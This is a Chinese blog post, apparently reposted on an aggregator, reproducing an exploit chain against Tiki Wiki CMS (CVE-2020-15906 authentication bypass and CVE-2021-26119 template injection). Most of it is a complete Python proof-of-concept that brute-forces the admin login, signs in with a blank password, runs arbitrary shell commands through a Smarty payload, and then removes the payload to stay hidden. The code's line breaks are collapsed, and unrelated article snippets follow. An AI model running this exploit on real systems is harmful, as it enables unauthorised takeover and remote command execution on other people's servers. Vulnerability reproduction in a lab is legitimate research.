Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现

2024-03-03 00:50

本文主要是介绍Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Tiki Wiki CMS组件认证过绕过漏洞(CVE-2020-15906)(CVE-2021-26119)

by ADummy

0x00利用路线

​ 爆破50次密码—>burpsuite抓包—>修改pass字段为空(坑点 记录好ticket,session,cookie)

0x01漏洞介绍

​ 在以下这些版本21.2,20.4,19.3,18.7,17.3,16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。

0x02漏洞复现

P牛写的poc

payload:

import requests
import sys
import redef auth_bypass(s, t):d = {"ticket" : "","user" : "admin","pass" : "trololololol",}h = { "referer" : t }d["ticket"] = get_ticket(s, "%stiki-login.php" % t)d["pass"] = "" # blank loginr = s.post("%stiki-login.php" % t, data=d, headers=h)r = s.get("%stiki-admin.php" % t)assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"def black_password(s, t):uri = "%stiki-login.php" % t# setup cookies heres.get(uri)ticket = get_ticket(s, uri)d = {'user':'admin', 'pass':'trololololol',}# crafted especially so unsuccessful_logins isn't recordedfor i in range(0, 51):r = s.post(uri, d)if("Account requires administrator approval." in r.text):print("(+) admin password blanked!")returnraise Exception("(-) auth bypass failed!") def get_ticket(s, uri):h = { "referer" : uri }r = s.get(uri)match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)assert match, "(-) csrf ticket leak failed!"return match.group(1)def trigger_or_patch_ssti(s, t, c=None):# CVE-2021-26119p = { "page": "look" }h = { "referer" : t }bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % cd = {"ticket" : get_ticket(s, "%stiki-admin.php" % t),"feature_custom_html_head_content" : bypass if c else '',"lm_preference[]": "feature_custom_html_head_content"}r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)r = s.get("%stiki-index.php" % t)if c != None:assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"cmdr = r.text.split("startrce")[1].split("endrce")[0]print(cmdr.strip())def main():if(len(sys.argv) < 4):print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])returnp = sys.argv[2]c = sys.argv[3]p = p + "/" if not p.endswith("/") else pp = "/" + p if not p.startswith("/") else pt = "http://%s%s" % (sys.argv[1], p)s = requests.Session()print("(+) blanking password...")black_password(s, t)print("(+) getting a session...")auth_bypass(s, t)print("(+) auth bypass successful!")print("(+) triggering rce...\n")# trigger for rcetrigger_or_patch_ssti(s, t, c)# patch so we stay hiddentrigger_or_patch_ssti(s, t)if __name__ == '__main__':main()

靶场内可以直接打。

在这里插入图片描述

0x03参考资料

https://srcincite.io/pocs/cve-2021-26119.py.txt

这篇关于Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/767940

相关文章

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

JS常用组件收集

收集了一些平时遇到的前端比较优秀的组件,方便以后开发的时候查找!!! 函数工具: Lodash 页面固定: stickUp、jQuery.Pin 轮播: unslider、swiper 开关: switch 复选框: icheck 气泡: grumble 隐藏元素: Headroom

如何在页面调用utility bar并传递参数至lwc组件

1.在app的utility item中添加lwc组件: 2.调用utility bar api的方式有两种: 方法一,通过lwc调用: import {LightningElement,api ,wire } from 'lwc';import { publish, MessageContext } from 'lightning/messageService';import Ca

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

vue2 组件通信

props + emits props:用于接收父组件传递给子组件的数据。可以定义期望从父组件接收的数据结构和类型。‘子组件不可更改该数据’emits:用于定义组件可以向父组件发出的事件。这允许父组件监听子组件的事件并作出响应。(比如数据更新) props检查属性 属性名类型描述默认值typeFunction指定 prop 应该是什么类型,如 String, Number, Boolean,

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

火语言RPA流程组件介绍--浏览网页

🚩【组件功能】:浏览器打开指定网址或本地html文件 配置预览 配置说明 网址URL 支持T或# 默认FLOW输入项 输入需要打开的网址URL 超时时间 支持T或# 打开网页超时时间 执行后后等待时间(ms) 支持T或# 当前组件执行完成后继续等待的时间 UserAgent 支持T或# User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的